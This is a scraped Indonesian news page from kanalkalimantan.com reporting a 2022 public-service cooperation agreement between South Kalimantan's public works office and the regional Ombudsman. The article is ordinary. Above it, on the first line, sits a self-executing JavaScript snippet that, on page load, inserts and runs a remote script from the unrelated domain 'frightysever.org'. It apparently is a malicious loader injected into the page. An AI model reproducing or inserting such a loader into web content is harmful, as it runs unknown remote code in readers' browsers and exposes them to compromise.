(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Disaksikan langsung oleh Gubernur Kalimantan Selatan, H Sahbirin Noor, Dinas Ombudsman dan PUPR Kalsel Tandatangani Kesepakatan Provinsi Kalsel dan Ombudsman RI Kalsel menandatangani kerjasama di Kantor Setda Provinsi Kalsel pada 4 Juli 2022.
Saat itu Gubernur Kalsel Sahbirin Noor didampingi Sekda Provinsi Kalsel Ir Roy Rizali Anwar ST, MT.
Kepala Ombudsman RI Perwakilan Kalsel, Hadi Rahman menyatakan, kerjasama itu dibangun atas dasar asas-asas yang ada dalam Undang Undang Nomor 37 Tahun 2008.
“Selain itu, dalam rangka menjalankan salah satu tugas ombudsman yaitu melakukan koordinasi dan kerjasama dengan instansi pemerintah baik di tingkat pusat maupun daerah,” katanya.
Baca juga: Lelaki Gantung Diri Dekat TPS Guntung Paikat, Ber-KTP Papua, Numpang di Banjarbaru
Kemudian, lanjut dia, juga sebagai tindak lanjut dari nota kesepakatan antara Ombudsman RI dengan Pemprov Kalsel yang ditandatangani 2021 lalu.
“Kami tidak menginginkan pelayanan publik yang buruk namun tidak dapat dipungkiri akan adanya keluhan masyarakat terkait penyelenggaraan pelayanan publik,” jelas dia.
Oleh karena itu pengawasan oleh Ombudsman kepada penyelenggara negara dan pemerintahan akan membantu pembangunan tata kelola pemerintahan yang baik dan bersih (good and clean governance) serta peningkatan kualitas pelayanan publik yang berkesinambungan.
Pihaknya menilai bahwa kerjasama ini sebagai wujud dari komitmen dan ikhtiar dalam menghadirkan negara untuk memberikan pelayanan kepada masyarakat.
Melalui kerjasama ini diharapkan terbangun peradaban dan pelayanan publik yang semakin berkualitas di Kalsel, terhindar dari praktik-praktik maladministrasi dalam pelayanan publik antara lain melalui pemenuhan Standar Pelayanan (SP) serta pengaduan masyarakat terkelola dengan baik dan laporannya terselesaikan secara cepat dan tuntas.
Sementara, Plt Kadis PUPR Kalsel, Ahmad Solhan ST, MT, menyatakan, MoU dengan Ombudsman sangat membantu terkait pelayanan publik di semua bidang yang ada di Dinas PUPR Provinsi Kalsel.
“Adanya MoU kerjasama Pelayanan Publik dengan Ombudsman RI perwakilan Kalsel, maka pelayanan jadi lebih prima dan akuntable atau terbuka untuk Pemerintahan Provinsi Kalsel menuju pelayanan good goverment,” pungkas Solhan. (kanalkalimantan.com/rls)
Reporter: rls
Editor: Dhani
KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Pekapuran B Laut, Kecamatan Banjarmasin Tengah, Kota Banjarmasin dibuat geger… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pencinta wisata alam wajib menjajal objek wisata satu ini, yaitu wahana kano… Read More
KANALKALIMANTAN.COM, BANJARBARU – Aditya Mufti Ariffin menyerahkan formulir pendaftaran sebagai bakal calon (bacalon) Wali Kota… Read More
KANALKALIMANTAN.COM, MARTAPURA - Mewakili Bupati Banjar H Saidi Mansyur, Asisten Pemerintahan dan Kesra H Masruri… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah Kabupaten Banjar melaksanakan audiensi dengan Asisten Deputi Koordinasi Pelaksanaan Kebijakan dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lambaian tangan menyertai keberangkatan 280 jemaah haji Kabupaten Hulu Sungai Utara (HSU)… Read More
This website uses cookies.